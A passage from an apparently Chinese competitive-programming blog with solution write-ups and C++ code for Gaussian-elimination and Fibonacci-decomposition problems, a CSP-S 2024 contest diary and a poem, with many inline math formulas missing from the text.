题目地址：CF 126D

题目难度：省选/NOI-

计算一个整数被分解成若干个各不相等的Fibonacci数列中的数的方案。

根据齐肯多夫表示法的定义，解出的 01 串按理来说是不应该含有连续的 1 的，因为连续的 1 可以累加成下一个斐波那契数。既然题目都说了，那我们其实可以反过来利用这个结论。也就是求出标准齐肯多夫表示（不含连续的 1）后对每个 100* 模式串（1 后面至少跟两个 0）进行拆解变为 011*，如果后面还有零，例如 011000 可以继续拆成 010110，以此类推……

因此设计状态转移方程为，表示是否拆分第位的 1，并令表示标准拆分的第位有一个 1。

考虑答案从何而来。如果不拆当前位，那我们可以对它的子序列进行拆分（或者同样不拆分子序列），答案就由子序列贡献得到，即。

如果要拆分当前这一位，同样也和它的子序列有关。不过，和之间如果相隔大于等于两个 0，也就是时，就可以进行拆分（即 100* 拆分为 011*）。拆分后如果剩余空位大于等于那么就还可以继续拆分，但是此时只能对最末尾的 1 进行拆分了，因为经历若干轮拆分后的序列一定形如 10101010*。问题转化成最多能在空位里留下多少个互不相邻的 1（包括端点的 1），答案即为。如果钦定了下一位也不拆分，那么答案就是。综上所述：

需要注意的是，此时我们会将斐波那契数列整体左移一位变为，因此分解式中 1 位的位置也要顺带移动一位。

Note

题解同步于本站

记我在 CSP-S 2024 当志愿者的半天时光

Wed, 30 Oct 2024 11:44:51 GMT

Done

您已获得最佳的阅读体验！

距离上次参加 CSP 已经过去了一年又五天，感觉一年以来自己收获了不少。

Day -1#

和去年一样，我们不参加学校运动会，在机房里备考。上下午两场模拟赛——第一场 T1，第一眼，看到“序列”，好感度降低 50 点；第二眼，看到“最大子段和”，好感度再降 50 点，发现线段树做不了，果断下一道！T2 逆天的汉诺塔问题，苦了我一个多小时最后也只能全输出 1 骗 20pts。下午的波奇酱 T1 考模拟+逆元，因为太糖了居然没有写出来？？？凉仙贝 T4 一眼打表但是太懒了不想写，终了 50pts 写了个喜多郁代……然后想着切一道大模拟，把一年半前没切过的大模拟二十分钟切出来了，居然意外的顺利耶……

听说运动会因为下了点细雨把闭幕式延后了，然后就逃了两节常规课……

Day 0#

这里采用 1-index 所以 Day 0 应为考试前夕……

Brailliant11001 大佬早上给我讲了他那个「刺激的梦」，整个上午我没有什么印象，总之就是上了一上午常规课。下午最后一节课数学，只记得数学老师讲了很多阿基米德三角形的二级结论并让我们证明，临下课了才说有一道题用行列式做很简单，时间不够了只能周六再讲。纳尼？？复习了这么久的圆锥曲线，怎么到考前了才跟我说有我最擅长的线性代数？？？

晚上想着第二天一大早就开考了，于是试着切一道大模拟找找码感，很可惜因为一些特判不足，最后还是失败了。

Day 1#

上午一觉起来发现普及组都开考了，那没办法，只能准备下午的 S 组。上午写了会自己的 API，结果搞得下午开始偏头疼了……没办法吃了颗芬必得希望不会影响下午考试。

刚到就开始掉雨点，真的很郁闷欸……临进去前杨老师带我们拍了可能是退役前最后的一张大合照……进去考场惊奇的发现他们的系统是 Win11 欸（这都是什么奇妙的关注点）。我们机房只有 HYLW 坐在我对面，很不巧的是，我们考场居然有一个小糖人——开考前一直在大声喧哗，开考后也哔哔了好一阵子；监考老师提醒多次未果、已而再犯；接下来他做不出来题又开始搞东搞西，还惊动了监考老师，把监控调了出来，不知他这次会不会喜提三年大礼包。

T1 先想了个链式排序的情况，发现具有相同攻击力的卡牌之间无法消除，很浪费，于是转而把具有相同攻击值的卡牌在同一行排开，从下到上攻击力递增，就发现了答案其实就是众数（考后我还担心这么简单的结论会不会是错的）。10min 秒了，下一个！

T2 的第一问很简单，二分直接堆上去了。对于第二问当时确实没做过类似的贪心，开始还想用线段树，但是后面想到口胡出一个做法，就是维护每辆车被哪些监控拍到超速（到这里其实跟正解都还是一样的），组成一个 01 串，然后再找是否有 0/1 串是子集关系，若是则消去作为子集的那个串，最后统计，然后发现这种做法细节炒鸡多、而且包会爆时间的。于是就这么浑浑噩噩混没了几乎剩下的所有时间。

T3 看一眼知道是 DP，序列加分问题似乎可以用模拟退火骗分，但是没时间了就不想写了（反正估计只要有分就可以进 NOIp）；T4 看到就头疼啊这又长又臭的题面真的不是拿去作为 NOI 的试题吗？果断放弃。

晚上回去，又写了一会 API。

Day 2#

周日正常来说上午十点就该返校的，但是我就是不想那么早回去（反正作业也写不完干脆不写）坐牢。于是找了个借口请假到下午两点再返校，期间把 API 完善到几乎完成了，现在可以正常运行绝大部分功能了。点此食用（上课慎入）

闲来无事翻了一下自测，才发现 T4 居然是黑题、T1 就是道橙题？？？今年第一届新 CSP 就给我憋这么大坨，简直抽象至极了。

鲜花#

《竞赛辞》一首：

三载春秋入信竞，初时坚信可省一。
教练无心自无意，信竞一度成电竞。
常规文化还可以，自信入坑在高一。
二分搜索和 DP，欧拉回路线性基。
塔尖Tarjan强连 DCC双连通分量，组合数学 CRT中国剩余定理。
线段平衡 BST二叉搜索树，权值种类并查集。
北上广深BSGS 算法不容易，学会复数 FFT快速傅里叶变换。
倍增树上 LCA最近公共祖先，字符串有 KMP。
思维体操构造题，码量惊人大模拟。
考纲算法多繁杂，一时缭乱数不清。
但问算法哪家强？遗传退火包第一！
停课申请真艰辛，高一拖到这学期。
外培十日天天测，清空错位失榜一。
我问苍天为何寄，未花笑我未努力。
初赛最大是收益，J 组满分拿百金！
S 组爆炸五十一，四川划线五十起。
复赛不知作何评，机房大佬二百一。
T2 半对半全寄，归来凭栏自叹息。
初中不识信竞好，高二方悔已晚矣。
望后宵小加把劲，莫学 GZ 只尽力。
百川障之东入海，狂澜既倒日已近。
设若此轮命不济，只能高考加把劲。
我自行叹复坐愁，苦诉人生亦有命。
天生我材若有用，哪得试验总失利？
灯火阑珊庆功宴，白墙黑瓦无人气。
虽言无奖不竞技，有人欢笑有人泣。
试看孔明盛功名，三顾频烦天下计。
竞赛不成走强基？可惜学的是信息。
数竞数学争第一，物竞物理没问题。
化竞有机一眼秒，生竞生物有实力。
信竞显然是弟弟，高考增益等于零。
宋人鬻技有百金，唯我低价修机器。
且看赢家佳人侯，月桂树下一生情。
我自呼遍天下地，未月暗夜无人应。
洋洋洒洒千百篇，不敌一朝失落音。

最后留些篇幅纪念一下 2022 级的 OIer 们：

2023 信竞五人帮在此集结：

P2011 - 计算电压题解

Wed, 09 Oct 2024 12:27:23 GMT

Done

您已获得最佳的阅读体验！

题目地址：P2011

题目难度：省选/NOI-

现给定一个电阻网络，已知其中每条边上的电阻，和若干个点和负极之间的电压（电源电压不变），现在求任意两点之间的电压。
对于的数据，，，，。

要解决这道题，我们首先要明白一个定理，即电流定律（，或称第一定律）。定理内容如下：

Quote

电路中任意一个节点上，在任何时刻，流入这个节点的电流之和等于流出这个节点的电流之和。

于是我们把每一个接线柱分开来看。假如当前在讨论接线柱，假设电流从若干接线柱流出并流入，那么记为这些接线柱的集合；相应地，如果电流从流出，并流入另一些接线柱，那么记这些接线柱的集合为。此时根据欧姆定律有如下关系：

发现此时又要求每个电阻丝的电压，非常的麻烦。根据高中知识可得，导体两端的电压其实就等于它两端的电势之差，假如电阻丝左右分别连接着接线柱，那么。上式转化为：

发现最后的这个方程式可以使用高斯消元来解决，在系数矩阵中分别填入，作为系数。此时需要注意，第项的系数应是。对于题目中已经给定的值，即直接与正极相连的接线柱只需要列出形如的方程即可。不难发现方程组有条方程，个未知数，是一定有解的。题目的询问就可以转化成求两接线柱之间的电势差了。

1
#include <bits/stdc++.h>
2

3
#define N 210
4
using namespace std;
5

6
typedef pair<int, double> PID;
7

8
const double EPS = 1e-12;
9

10
vector<PID> G[N];
11

12
double matrix[N][N];
13
double voltage[N];
14
double start[N];
15

16
int gauss(int n) {
17
    int rank = 0;
18
    for (int c = 0, r = 0; c <= n; c++) {
19
        int t = r;
20
        for (int i = r; i <= n; i++) {
21
            if (abs(matrix[i][c]) > abs(matrix[t][c])) t = i;
22
        }
23
        if (abs(matrix[t][c]) < EPS) continue;
24
        if (t ^ r) swap(matrix[t], matrix[r]);
25
        for (int i = n + 1; i >= c; i--) matrix[r][i] /= matrix[r][c];
26
        for (int i = 0; i <= n; i++) {
27
            if (abs(matrix[i][c]) > EPS && i ^ r) {
28
                for (int j = n + 1; j >= c; j--) {
29
                    matrix[i][j] -= matrix[i][c] * matrix[r][j];
30
                }
31
            }
32
        }
33
        r++;
34
        rank++;
35
    }
36
    for (int i = 0; i <= n; i++) voltage[i] = matrix[i][n + 1];
37
    return 2;
38
}
39

40
void out(int n) {
41
    cerr << "------------------" << endl;
42
    for (int i = 0; i <= n; i++) {
43
        for (int j = 0; j <= n + 1; j++) {
44
            cerr << fixed << setprecision(2) << setw(10) << matrix[i][j];
45
        }
46
        cerr << endl;
47
    }
48
    cerr << "------------------" << endl;
49
}
50

51
int main() {
52
    ios::sync_with_stdio(false);
53
    cin.tie(nullptr);
54
    cout.tie(nullptr);
55

56
    int n, m, k, q;
57
    cin >> n >> m >> k >> q;
58
    while (k--) {
59
        int u;
60
        cin >> u >> start[u];
61
    }
62
    while (m--) {
63
        int u, v;
64
        double w;
65
        cin >> u >> v >> w;
66
        G[u].emplace_back(v, w);
67
        G[v].emplace_back(u, w);
68
    }
69
    matrix[0][0] = 1.0;
70
    for (int i = 1; i <= n; i++) {
71
        double sum = 0.0;
72
        if (abs(start[i]) > EPS) {
73
            matrix[i][i] = 1.0;
74
            matrix[i][n + 1] = start[i];
75
            continue;
76
        }
77
        for (auto p: G[i]) {
78
            int u = p.first;
79
            matrix[i][u] += 1.0 / p.second;
80
            sum += 1.0 / p.second;
81
        }
82
        matrix[i][i] = -sum;
83
    }
84
    gauss(n);
85
    while (q--) {
86
        int u, v;
87
        cin >> u >> v;
88
        cout << fixed << setprecision(2) << voltage[u] - voltage[v] << endl;
89
    }
90
    return 0;
91
}

展开收起

说句闲话：第一学月物理考试彻底炸了……诺贝尔物理学奖颁给了机器学习……我在这里写信息学物理题题解……

P3429 [POI2005] DWA - Two Parties 题解

Mon, 07 Oct 2024 01:37:24 GMT

Done

您已获得最佳的阅读体验！

题目地址：P3429

题目难度：省选/NOI-

题目来源：POI Poland 2005

拜占庭国王要举办两个大派对，并且希望邀请更多的居民。
国王从他的丰富经验里知道，如果一个居民在派对上能遇到偶数个的朋友，那他会非常高兴。因此，他要求你邀请国家的居民去两个派对，而使尽可能多的人在他们的聚会上有偶数个的朋友。认识是一种对称关系，如认识，那么也认识。
输出第一行是一个整数，是前往第一个排队的人数。第二行个整数，是去第一个派对的居民编号，其余的居民前往第二个派对。如果有多种答案，你只需要输出一个。

建方程组的思路和 P6126 始祖鸟相同。分朋友数的奇偶性讨论，如果朋友数是偶数，那么只要任意一处出现偶数个朋友，另一处就一定也会出现偶数个朋友，那么这个人去哪里都可以；如果朋友数是奇数，且在地出现奇数个朋友，那么地就一定会有偶数个朋友，他只能去地，反之亦然。

如果第个人去地，那么令，否则令。对于有偶数个朋友的人，只要他的朋友里存在偶数个和偶数个即可，不难发现，这些朋友的代表值异或起来是等于的；相对地，对于有奇数个朋友的人，他只能去偶数的那一方，此时如果算上这个人，就会出现偶数个和奇数个，全部异或的结果是。然后就可以列方程组求解了。

1
#include <bits/stdc++.h>
2
#define N 210
3
using namespace std;
4

5
bitset<N> matrix[N];
6
bitset<N> ans;
7
int n;
8

9
void out() {
10
    cerr << "-----------------" << endl;
11
    for (int i = 1; i <= n; i++) {
12
        for (int j = 1; j <= n + 1; j++) {
13
            cerr << setw(5) << matrix[i][j];
14
        }
15
        cerr << endl;
16
    }
17
    cerr << "-----------------" << endl;
18
}
19

20
int gauss() {
21
    int rank = 0;
22
    for (int c = 1, r = 1; c <= n; c++) {
23
        int t = r;
24
        for (int i = r; i <= n; i++) {
25
            if (matrix[i].test(c)) {
26
                t = i;
27
                break;
28
            }
29
        }
30
        if (!matrix[t].test(c)) continue;
31
        if (t ^ r) swap(matrix[r], matrix[t]);
32

33
        for (int i = 1; i <= n; i++) {
34
            if (matrix[i].test(c) && i ^ r) {
35
                matrix[i] ^= matrix[r];
36
            }
37
        }
38
        r++;
39
        rank++;
40
    }
41
    if (rank < n) {
42
        for (int i = rank + 1; i <= n; i++) {
43
            if (matrix[i].test(n + 1)) return 0;
44
        }
45
        for (int i = 1; i <= n; i++) {
46
            for (int j = 1; j <= n + 1; j++) {
47
                if (matrix[i].test(j)) {
48
                    ans[j] = matrix[i][n + 1];
49
                    break;
50
                }
51
            }
52
        }
53
        return 1;
54
    }
55
    for (int i = 1; i <= n; i++) ans[i] = matrix[i][n + 1];
56
    return 2;
57
}
58

59
int main() {
60
    ios::sync_with_stdio(false);
61
    cin.tie(nullptr);
62
    cout.tie(nullptr);
63

64
    cin >> n;
65
    for (int i = 1; i <= n; i++) {
66
        int k;
67
        cin >> k;
68
        if (k & 1) matrix[i].flip(i);
69
        matrix[i][n + 1] = k & 1;
70
        while (k--) {
71
            int x;
72
            cin >> x;
73
            matrix[i].flip(x);
74
        }
75
    }
76
    int res = gauss();
77
    if (res) {
78
        cout << ans.count() << endl;
79
        for (int i = 1; i <= n; i++) {
80
            if (ans.test(i)) cout << i << ' ';
81
        }
82
    } else cout << "Impossible" << endl;
83
    return 0;
84
}

展开收起

P6126 [JSOI2012] - 始祖鸟题解

Mon, 07 Oct 2024 01:22:18 GMT

Done

您已获得最佳的阅读体验！

题目地址：P6126

题目难度：省选/NOI-

题目来源：江苏 2012 各省省选

有只始祖鸟，我们从开始编号。对于第只始祖鸟，有个认识的朋友，它们的编号分别是。朋友的认识关系是单向的，也就是说如果第只始祖鸟认识第只始祖鸟，那么第只始祖鸟不一定认识第只始祖鸟。
聚会的地点分为两处，一处在上游，一处在下游。对于每一处聚会场所，都必须满足对于在这个聚会场所中的始祖鸟，有恰好有偶数个自己认识的朋友与之在同一个聚会场所中。当然，每一只始祖鸟都必须在两处聚会场所之一。
现在需要你给出一种安排方式。你只需要给出在上游的始祖鸟编号，如果有多组解，请输出任何一组解。如果无法满足要求，只输出一行 Impossible。
对于的数据，。

为所有始祖鸟按朋友数的奇偶性分类。对于朋友数是偶数的始祖鸟，只要在上游/下游出现偶数个朋友，那么另一方也肯定存在偶数个朋友，此时当前的始祖鸟就可以在上下游中任意选择去向；如果这只始祖鸟有奇数个朋友，那么上游/下游一定是一边奇数一边偶数，此时这只鸟只能去偶数那侧。

若当前始祖鸟在上游，我们令，否则。对于朋友数是偶数的始祖鸟，把它的所有朋友代表的数异或起来，那就相当于偶数个与偶数个异或，结果为；对于朋友数是奇数的始祖鸟，把自己和它的朋友代表的数异或起来，相当于偶数个和奇数个异或，结果一定是。因此对于某只有个朋友的始祖鸟，一定有如下关系：

然后对每只始祖鸟建立关系，再使用异或高斯消元即可。这里介绍一种能方便解决“无数组解特解求解”问题的消元法。

一般的高斯消元会把矩阵消元成一个上/下三角矩阵，矩阵的同一列可能存在多个非零的系数，也就代表着方程之间的未知数还存在相互依赖关系，求解时只能老老实实向上回代，遇到存在自由元的情况时会较难处理。

我们认为这样的矩阵是“未完全化简的”，事实上，如果在减法/异或消元时让每一行都重新消元一次，而不是只对行消元，那么最终你会得到一个同一列只存在一个非零系数的增广矩阵。特别地，对于存在唯一解的情况，它是一个对角矩阵，此时每个未知数的解就是对应常数项的值；如果是存在无数组解的情况，找到主元也非常简单：只需找到每一行的第一个非零系数，然后直接将它赋值为常数项。对于主元右侧的所有非零系数，一律当自由元赋值为即可。

1
#include <bits/stdc++.h>
2
#define N 2010
3
using namespace std;
4

5
bitset<N> matrix[N];
6
bitset<N> ans;
7
int n;
8

9
void out() {
10
    cerr << "-----------------" << endl;
11
    for (int i = 1; i <= n; i++) {
12
        for (int j = 1; j <= n + 1; j++) {
13
            cerr << setw(5) << matrix[i][j];
14
        }
15
        cerr << endl;
16
    }
17
    cerr << "-----------------" << endl;
18
}
19

20
int gauss() {
21
    int rank = 0; // 矩阵的秩
22
    for (int c = 1, r = 1; c <= n; c++) {
23
        int t = r;
24
        for (int i = r; i <= n; i++) {
25
            if (matrix[i].test(c)) {
26
                // 找到绝对值最大的行（只要第一个系数是 1 即可）
27
                t = i;
28
                break;
29
            }
30
        }
31
        if (!matrix[t].test(c)) continue; // 跳过零行
32
        if (t ^ r) swap(matrix[r], matrix[t]); // 交换到第一行
33

34
        for (int i = 1; i <= n; i++) {
35
            // 与普通高斯消元的不同之处，对 1~n 行全部消元
36
            if (matrix[i].test(c) && i ^ r) {
37
                // 当前行不消，零行不消
38
                matrix[i] ^= matrix[r]; // 异或代替减法进行消元
39
            }
40
        }
41
        r++;
42
        rank++;
43
    }
44
    if (rank < n) {
45
        // 秩小于 n，可能是无数组解、有可能无解
46
        for (int i = rank + 1; i <= n; i++) {
47
            if (matrix[i].test(n + 1)) return 0; // 存在类似于 0=k 的矛盾情况，无解
48
        }
49
        for (int i = 1; i <= n; i++) {
50
            for (int j = 1; j <= n + 1; j++) {
51
                if (matrix[i].test(j)) {
52
                    // 无数组解，找到主元并赋值
53
                    ans[j] = matrix[i][n + 1];
54
                    break;
55
                }
56
            }
57
        }
58
        return 1;
59
    }
60
    for (int i = 1; i <= n; i++) ans[i] = matrix[i][n + 1]; // 有唯一解，对角矩阵每个未知数的解就是常数项的值
61
    return 2;
62
}
63

64
int main() {
65
    ios::sync_with_stdio(false);
66
    cin.tie(nullptr);
67
    cout.tie(nullptr);
68

69
    cin >> n;
70
    for (int i = 1; i <= n; i++) {
71
        int k;
72
        cin >> k;
73
        if (k & 1) matrix[i].flip(i); // 奇数个朋友建立方程组时要算上自己
74
        matrix[i][n + 1] = k & 1;
75
        while (k--) {
76
            int x;
77
            cin >> x;
78
            matrix[i].flip(x);
79
        }
80
    }
81
    int res = gauss();
82
    if (res) {
83
        cout << ans.count() << endl;
84
        for (int i = 1; i <= n; i++) {
85
            if (ans.test(i)) cout << i << ' ';
86
        }
87
    } else cout << "Impossible" << endl;
88
    return 0;
89
}

展开收起

Hack 数据也过了，这是记录。你可以调用函数 out() 来输出矩阵的项。

线性代数高斯消元

Sun, 06 Oct 2024 13:59:39 GMT

Gauss-Jordan 消元法#

也叫高斯-若尔当消元法，简称高斯消元法或高斯消元。它可以在的时间复杂度内求出矩阵方程组的解、以及给定矩阵的逆矩阵、行列式等。

基础知识#

初等行变换：指的是对一个矩阵中的某些行进行的基本变换，具体如下：

交换某两行。相当于把方程组的顺序调换一下，本质上不影响该矩阵。
将某一行乘以一个非零数。相当于给某个方程做等比放缩，可以通过除以该倍数还原，且不影响最终解。
将某一行乘以一个非零倍数后对位相加到另一行。相当于把前两个操作综合起来，这是高斯消元中核心的步骤。

增广矩阵：有时我们会拿到形如这样的方程组：

那么把它写成矩阵形式就应该是：

发现这个矩阵只对应了原方程组中的未知数系数，而并没有它的常数项，这种矩阵叫做系数矩阵。而增广矩阵就是将它的系数囊括进来，系数和常数之间用竖线分割。如下：

行阶梯型：定义形如：

的矩阵为行阶梯型矩阵。不难发现，这个矩阵中所有的非零系数组成一个类似于三角形的结构，且它们都聚集在右上角，这就叫做上三角型矩阵；若这些系数聚集在左下角，则称作下三角型矩阵。

主元/自由元：在求解矩阵方程时，偶尔会碰见某些未知数存在无数组解的情况，它们就叫做自由元。那些已经唯一确定的变量就叫做主元。在高斯消元过程中，某一行的第一个非零系数就对应一个主元。

以上就是所有的前置知识，更多内容见线性代数简明教程。

算法流程#

首先我们需要把矩阵化简成为行阶梯型，化简有这几个步骤（假设有个方程组）：

枚举每一列，找出第行中第列系数绝对值最大的那一行，并交换到第行。
对这一行整体除以这个系数，让该行第列变为。
对于该行下边的所有行，正常状况下它们的前列系数都应已经化为，假如它们的第列元素分别是。那么分别让每一行对位减去该行的倍，让第列系数化为。
重复操作直到第行第列系数化为。

此时如果从矩阵方程组的角度审视这个矩阵，你会发现最后一行就已经可以变为的已经解出的形式。此时向上回代，第行应为，此时只需计算就可得出的结果，以此类推……直到所有未知数均已敲定为止。

当然，我们还可以更进一步。让当前行的上面所有行再减去当前行的某个倍数。那么当存在唯一解时，我们可以把原矩阵消元成只有对角线的矩阵，这样更加简单，每个未知数的值就是右侧的系数，甚至无需回代；存在无数组解时，矩阵同一列上不会出现两个及以上的非零项，意味着当前行未知数的状态只与当前行有关，而不会存在一般高斯消元中的行与行间的相互依赖，在处理无数组解时非常好用。后文均会用这种消元方法。

细心的你一定发现了：无解情况该怎么判断呢？

联系一元二次方程的求解。若只关心实根，我们可以使用判别法，。我们都知道对负数开根号是不会得到实数的（详见“复数”），观察到前面的正负号，只有在时才有两个相同的实根，当时是会得到两个不同结果的。因此：

方程无实数解方程有两个相同的实数解方程有两个不相同的实数解

在矩阵中也有类似的判断方法，秩就是其中之一（行列式等其他判别法此处不给出），用表示矩阵的秩。矩阵的秩定义为线性无关的横行/纵行的极大数目。简单来说就是化为行阶梯型后非零行的个数。一般情况下（方程个数等于未知数个数）系数矩阵和增广矩阵的秩都是。那如果存在无数组解，此时系数矩阵和增广矩阵都存在零行，即。如果无解，也就是出现诸如的情况，即系数矩阵的秩严格小于增广矩阵的情况。若为系数矩阵、为增广矩阵，那么：

方程组有唯一解方程组有无数组解方程组无解

有唯一解和无解都好解决，主要是这个无数组解的情况，普通的回代似乎不起作用，因为有些未知数我们并不知道具体值，因此无法代入。此时就需要分离主元和自由元了。

如果使用上面说的，最终将矩阵消元成对角线矩阵的消元法，此时就非常简单。主元对应着某一行的第一个非零项，其值就是该行的常数项；若该行存在不止一个非零项，我们就自动把后面的非零项看作自由元，赋值任意。

1
int gauss() {
2
    int rank = 0; // 秩
3
    for (int c = 1, r = 1; c <= n; c++) {
4
        int t = r;
5
        for (int i = r; i <= n; i++) {
6
            if (abs(matrix[i][c]) > abs(matrix[t][c])) t = i; // 找出主元绝对值最大的那一行
7
        }
8
        if (abs(matrix[t][c]) < EPS) continue; // 非零才能消成1
9
        if (t != r) swap(matrix[t], matrix[r]); // 交换
10
        for (int i = n + 1; i >= c; i--) matrix[r][i] /= matrix[r][c]; // 主元消成1
11
        for (int i = 1; i <= n; i++) { // 反复消元，成为对角线矩阵
12
            if (abs(matrix[i][c]) > EPS && i ^ r) { // 当前行不消，若当前位已经是零了也不消
13
                for (int j = n + 1; j >= c; j--) {
14
                    matrix[i][j] -= matrix[i][c] * matrix[r][j]; // 消成零
15
                }
16
            }
17
        }
18
        r++;
19
        rank++;
20
    }
21
    if (rank < n) {
22
        // 无解or无数组解
23
        for (int i = rank + 1; i <= n; i++) {
24
            for (int j = 1; j <= n + 1; j++) {
25
                if (abs(matrix[i][j]) > EPS) return 0; // 无解
26
            }
27
        }
28
        for (int i = 1; i <= n; i++) {
29
            for (int j = 1; j <= n; j++) {
30
                if (abs(matrix[i][j]) > EPS) {
31
                    ans[j] = matrix[i][n + 1]; // 无数组解，找到主元并直接赋值，剩余的自由元自动赋值为0
32
                    break;
33
                }
34
            }
35
        }
36
        return 1;
37
    }
38
    for (int i = 1; i <= n; i++) ans[i] = matrix[i][n + 1]; // 有解，此时常数项即为答案
39
    return 2;
40
}

展开收起

高斯消元例题#

洛谷 P2455 [SDOI2006] 线性方程组#

题目地址：P2455

题目难度：提高+/省选-

题目来源：山东 2006 各省省选

已知元线性一次方程组。
请根据输入的数据，编程输出方程组的解的情况。如果有唯一解，则输出解。你的结果被认为正确，当且仅当对于每一个而言结果值与标准答案值的绝对误差或者相对误差不超过。如果方程组无解输出；如果有无穷多实数解，输出；
对于的数据，。对于，有，。

这道题就是模板题，用方才给出的对角线版消元代码就可以轻松过掉这个题。需要注意的是，对于浮点数消元，由于精度问题，需要设置最低精度，一般当时就可认为这个浮点数为零。

洛谷 P4035 [JSOI2008] 球形空间产生器#

题目地址：P4035

题目难度：提高+/省选-

题目来源：江苏 2008 各省省选

给定一个维球体和球面上个点的坐标，请确定这个维球体的球心坐标，保留位小数。球面上的所有点距离球心均相同，坐标的每一个实数精确到小数点后位，且其绝对值都不超过。
保证

根据球心定义，可以列出方程组：

解出方程，就是球心坐标。考虑等号两端同时平方，并移项消去平方项，最终可以得到一个元线性方程组，高斯消元解出即可。

洛谷 P10315 [SHUPC 2024] 原神，启动！#

题目地址：P10315

题目难度：提高+/省选-

题目来源：SHUPC 2024

雷元素方碑具有如下性质：

具有种状态，中的一种；

方碑受到一次攻击会进入下一个状态（的下一个状态是）；

某个方碑受到一次攻击时会带动其它一些方碑一起进入下一个状态。

现在有个雷元素方碑，每个雷元素方碑有种状态。对于每个方碑，当它受到攻击时，都有个其它方碑和它一起进入下一个状态。给定个雷元素方碑的初始状态和终止状态，请你计算需要分别攻击每个方碑多少下，才能将雷元素方碑从状态变换到。如果无解请输出niuza，如果存在无数组解则任意输出一组。
，保证为质数。

Warning

本题数据过水，求无数组解特解的样例放在了后面。

本题其实是在让我们求如下方程组的特解：

思路和普通高斯消元是一样的，只是和实数高斯消元不同，带模数的式子中不能直接出现除法。那我们直接把除法改换成逆元就好了。注意负数的处理，最终答案要规约到内。

接下来是 Hack 数据（有两种可行解）：

1
In:
2
3 3
3
2 2 3
4
2 1 3
5
1 1
6
0 0 0
7
2 1 2
8

9
Out:
10
0 1 1 or 1 0 1

Note

题解同步于本站

洛谷 P6126 [JSOI2012] 始祖鸟#

题目地址：P6126

题目难度：省选/NOI-

题目来源：江苏 2012 各省省选

现在有只始祖鸟，我们从开始编号。对于第只始祖鸟，有个认识的朋友，它们的编号分别是，，，。朋友的认识关系是单向的，也就是说如果第只始祖鸟认识第只始祖鸟，那么第只始祖鸟不一定认识第只始祖鸟。
聚会的地点分为两处，一处在上游，一处在下游。对于每一处聚会场所，都必须满足对于在这个聚会场所中的始祖鸟，有恰好有偶数个自己认识的朋友与之在同一个聚会场所中。当然，每一只始祖鸟都必须在两处聚会场所之一。
现在需要你给出一种安排方式。你只需要给出在上游的始祖鸟编号，如果有多组解，请输出任何一组解。如果无法满足要求，只输出一行 Impossible。
对于的数据，。

把所有始祖鸟按朋友个数的奇偶性分类，这只鸟如果有偶数个朋友，只要上游和下游其中一方存在偶数个朋友，那么另一端也会有偶数个朋友，这只鸟哪里都可以去；如果它有奇数个朋友，这奇数个朋友必定是“奇数+偶数”分布的，那么只需让这只鸟到有偶数个朋友的一段即可。

令在上游为，在下游为。若存在偶数个朋友在其中一方，即（此时只算朋友的情况）偶数个和全部异或，结果为；若存在奇数个朋友，如果有偶数个朋友在上游，这只鸟必定到上游，（此时算上当前这只鸟和它的所有朋友）也就是奇数个和奇数个异或，结果是；反过来，如果有偶数个朋友在下游，那么就是奇数个和奇数个异或，结果为。那么对于一只有个朋友的鸟，能够得到这样的关系：

分别对应朋友数为偶数和奇数的情况。紧接下来使用 bitset 优化异或高斯消元：

与一般的高斯消元接近，异或高斯消元使用异或来代替消元时的减法操作，而且因为方程组的系数只会出现，因而不需要将当前的首个元素通过除法化为。其余步骤，包括找出绝对值最大的行，和普通高斯消元是一致的。

双倍经验：P3429 [POI2005] DWA-Two Parties

Note

题解同步于本站

P2973 [USACO10HOL] Driving Out the Piggies G#

题目地址：P2973

题目难度：省选/NOI-

题目来源：USACO 2010

一个个点、条边的无向图，节点1有一个炸弹，在每个单位时间内，有的概率在这个节点炸掉，有的概率随机选择一条出去的路到其他的节点上。问最终炸弹在每个节点上爆炸的概率。

对于当前点，它可能由与它相连的点转移过来。假如与当前点相连的所有点的爆炸概率分别设成未知数，那么在这个点爆炸的概率就应该是在相连点不爆炸的情况下再移动到当前点上的概率，即：

其中为点的度数。我们发现有一个特殊点是号点，要么在这个点爆炸，要么转移到相连的点，即：

然后直接套高斯消元模板即可。

P9220 [TAOI-1] - 椎名真昼题解

Sat, 05 Oct 2024 13:22:55 GMT

Done

您已获得最佳的阅读体验

题目地址：P9220

题目难度：提高+/省选-

Alice 和 Bob 正在玩一款游戏，给定一个有向图，每个点初始有一个颜色（黑或白）。
双方轮流进行操作，Alice 先手，每次操作选定一个节点，将所有从该点开始，能到达的点（包括自身）颜色翻转。如果某次操作后所有节点都变为白色，则进行该次操作的人胜利。
假如双方都采用最优策略使得自己胜利，或者如果自己无法胜利，使得对方无法胜利。
给你节点的初始状态，请你求出最终的胜者，亦或者，没有胜者。
定义点能到达点，当且仅当存在数列，其中，使得，存在有向边，且，。
对于所有测试数据，，，。

首先，如果这个游戏无法在两步及以内结束的话，就可以直接算平局了。因为若是超过两步，认为自己会输的那一方将会想尽办法不让你赢，具体表现就是重复另一方先前的操作，让图变为另一方操作前的状态，最终陷入死循环。因此我们只需关注一步定胜负和两步定胜负的情况。

根据题目中对两点能互相到达的定义，我们很容易知道——若对某个中的点进行一次操作，那么同处于这个的其他点的颜色也都会翻转（但不止这些点的颜色被翻转）。这启发我们处理出原图中的所有强连通分量。此时不难发现，如果某个中存在异色点，那么无论怎么翻转，它们都不会变为统一颜色，于是这种情况可以直接判成平局；否则我们就把这个强连通分量染成内部点的颜色。

处理出所有的强连通分量后，我们再把一个强连通分量整体看作一个新点，建在新图上（即缩点），此时新图必定是一个有向无环图。那么如果在某个强连通分量中的某个点上进行操作，新图中该强连通分量的子节点一定也会受到影响从而变化颜色。至此我们便理清了操作与颜色翻转之间的规律。

现在来讨论必胜局面。因为游戏不会超过两轮，所以如果先手的想要获胜，她就必须在第一轮胜利，否则要么胜、要么平局。也因此，在新建的有向无环图上，有且仅能存在一个节点，使得它的子树包含新图中所有的黑色，且不包含任何白色。这样一来先手才能一次把这些黑色点转化成白色从而获胜。如果这个子树不完全是黑色，或者是存在多个节点满足要求，都不能保证获胜（但也不代表必输，因为还存在平局）。

再来看这边，他如果想要获胜，就只能抓住第二轮这唯一的机会。有三种可能性：

全图均为白色节点。这样只能选择白色节点染黑，此时只需重复她的操作即可恢复全图到全白的状态。
仅有两个孤立的黑色。此时选择其一染白，仅需染白另一个即可。
一个白色和一个黑色，并且仅有一条有向边从黑点指向白点。此时无论开局选择染哪个点，总能在第二轮把全图染成白色而获胜。

其他情况即为二人平局。注意多测清空！

1
#include <bits/stdc++.h>
2
#define N 100010
